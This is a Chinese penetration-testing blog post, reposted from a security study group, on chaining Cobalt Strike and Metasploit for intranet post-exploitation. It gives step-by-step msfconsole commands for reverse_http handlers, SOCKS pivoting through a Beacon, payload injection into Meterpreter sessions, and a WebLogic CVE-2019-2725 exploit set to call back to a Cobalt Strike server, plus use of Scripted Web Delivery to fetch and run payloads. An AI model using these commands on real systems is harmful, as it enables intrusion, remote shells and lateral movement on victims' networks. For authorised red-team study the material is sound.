文章来源|MS08067 内网安全知识星球
本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员)
内网纵横四海 认准Ms08067
个人觉得CobaltStrike图形化的界面和丰富的功能,是一个超强的后渗透框架,尤其是方便管理横向移动过程中搜集到的各种数据和shell,但是对于漏洞利用、初始突破就显得十分乏力;另一边Metasploit作为漏洞利用框架,EXP及其顺滑,各种各样的模块,包含扫描、突破、拓展一条龙服务,但是对于多个shell的管理就显得有些乏力了(毕竟没有图形化界面,命令太多记不住)。于是,如何将两个框架有效的联动起来,就成为了今天想要学习的知识。
一.利用CS为MSF服务
利用CS的Beacon给MSF派生一个shell,执行后续的渗透任务:
在MSF中配置监听
-
#
配置监听器
-
msf>
use exploit/multi/handler
-
#
选择payload
-
msf>
windows/meterpreter/reverse_http
-
msf>
set lhost IP
-
msf>
set lport port
-
#
启动监听器
-
msf>
set ExitOnSession False
-
msf>
run -jz
在CS中建立一个外部监听器 Foreign HTTP (或 Foreign HTTPS )
选择想要派生的目标,右键选择 spawn 功能,选择刚刚建立的监听器,即可在MSF中接收到回连。
利用CS为MSF提供转发或代理功能,进行后续的探测和漏洞利用:
利用Beacon建立 socks 代理:
在Beacon中输入 socks 监听端口,或者右键想要作为转发的目标,在pivoting中选择 SOCKS Server ,配置监听端口后点击 launch 激活。
在view -> Proxy Pivots 中可以看到建立的转发器,点击Tunnel即可获得MSF的转发命令
复制到MSF中,设置代理和载荷类型
以CVE-2019-2725为测试靶机
-
#
设置代理 msf> setg Proxies socks4:127.0.0.1:36725
-
#
配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
-
msf>
set payload windows/meterpreter/bind_tcp
-
msf>
run
二.MSF为CS服务
主要就是使用MSF框架的EXP获取CS的Beacon
获取了一个命令执行Shell:
这是最简单的情况,也是最常见的情况,并不是所有的EXP都能反弹一个Meterpreter会话回来。
在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点:
配置监听器和URL路径,启动后会弹出相应的命令提示
复制命令后,直接在MSF 的shell中执行即可
命令执行后MSF的会话会卡住,可以直接kill掉,不影响CS会话
获取了一个Meterpreter会话:
获得meterpreter会话后,利用MSF注入功能,加载Cs的payload
-
#
将meterpreter会话挂起
-
meterpreter>
background
-
#
进入payload_inject模块
-
msf>
use exploit/windows/local/payload_inject
-
#
根据CS监听器类型选择对应的payload(http或者https)
-
msf>
set payload windows/meterpreter/reverse_http
-
#
设置回连地址(CS监听器地址)
-
msf>
set LHOST CS_IP
-
msf>
set LPORT CS_PORT
-
#
指定要执行的meterpreter会话
-
msf>
set session meterpreter会话ID
-
#
设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
-
msf>
set disablepayloadhandler true
-
msf>
run
在过程中发现,这种方法只能向注入32位的payload,如果注入64位payload会导致目标进程崩溃,无法向64位程序中注入32位payload。崩溃原因是:APPCRASH(故障模块StackHash_af76),即使取得system权限、关闭UAC也还是不行。如果不设置pid,则会创建一个32位的notepad.exe进程,成功连接后记得及时迁移CS的会话进程。
直接反弹回CS:
在MSF漏洞利用时直接请求并加载CS的载荷,和第二种方法基本一致(测试漏洞为 CVE-2019-2725)
-
# 根据CS监听器类型选择对应的payload
-
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) >
set payload windows/meterpreter/reverse_http
-
# 设置回连地址(CS监听器地址)
-
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) >
set LHOST CS_IP
-
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) >
set LPORT CS_PORT
-
# 指定要执行的meterpreter会话
-
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) >
set session meterpreter会话ID
-
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
-
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) >
set disablepayloadhandler
true
其实和第二种操作是一样,都是调用MSF的模块,配置payload的参数而已。漏洞利用成功后直接通过无窗口 powershell 返回CS会话,目标主机没有窗口弹出。测试的时候无法加载64位payload,可能是这个漏洞利用后会启动一个32位的cmd.exe来执行后续命令的原因。
三.写在后面
一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止 http和https ,还有
dns smb tcp
MSF中也有诸如
-
windows/meterpreter/reverse_tcp_dns
-
windows/meterpreter/bind_named_pipe
-
windows/meterpreter/reverse_tcp
这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。
扫描下方二维码加入星球学习
加入后邀请进入内部微信群,内部微信群永久有效!
目前40000+人已关注加入我们
转载:https://blog.csdn.net/shuteer_xu/article/details/114827165